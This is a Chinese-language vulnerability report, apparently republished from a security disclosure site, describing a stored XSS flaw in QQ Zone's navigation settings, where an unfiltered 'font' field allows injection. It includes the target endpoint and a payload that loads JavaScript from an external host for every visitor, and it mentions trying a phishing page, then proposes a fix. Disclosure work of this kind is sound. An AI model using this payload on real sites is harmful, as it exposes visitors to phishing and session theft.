简要描述:QQ空间某处信息保存时,有字段未对恶意代码进行过滤,导致可以调用任意外部javascript文件。当其它用户访问含有此代码的空间时, 可通过伪造钓鱼页面(试了,效果不错!!仅测试哦,警察叔叔别抓我)或者其它方式来使用该漏洞。
详细说明:详细说明,见漏洞证明过程。
漏洞证明:由于浏览器对script标记处理上的一些差异,本测试中的利用代码,是IE-only的。 其它浏览器下的漏洞利用代码,没去构造。
1. 在QQ空间,保存导航信息的时候,请求如下。
http://w.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_setinfo?g_tk=496042128
www.2cto.com
POST的数据中,"font" 字段的内容未被过滤, 导致可以插入代码。
2. 发送数据时,font的内容插入以下代码
encodeURIComponent('",a:(document.getElementsByTagName("script")[2].src="http://xssreport.sinaapp.com/t/22.js"),b:"')
3. -。- 写了个小工具,方便提交, 保存导航信息成功,如下图:
4. 刷新自己QQ空间,因为QQ空间的导航要加载以下地址。
http://r.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_getinfo?uin=228715××&tt=163323&g_tk=1637512342
加载内容如下:
callback(
{"font":"恶意构造的代码",
"size":12,
"bold":0,
"colors":"FFFFFF|ED1E79|29ABE2",
"items":[{"href":-1,
"name":"主页",
....
);
可以在内容里看到我们的恶意构造的JS
5. 因而可以看到我们调用的外部JS中弹出的提示。
修复方案:
保存导航信息时,过滤font 字段的内容。
其实font的长度也可以设置的更短下,一般字体长度也没多长吧。。
作者 gainover
查看更多关于QQ空间XSS漏洞,加载任意外部javascript - 网站安全的详细内容...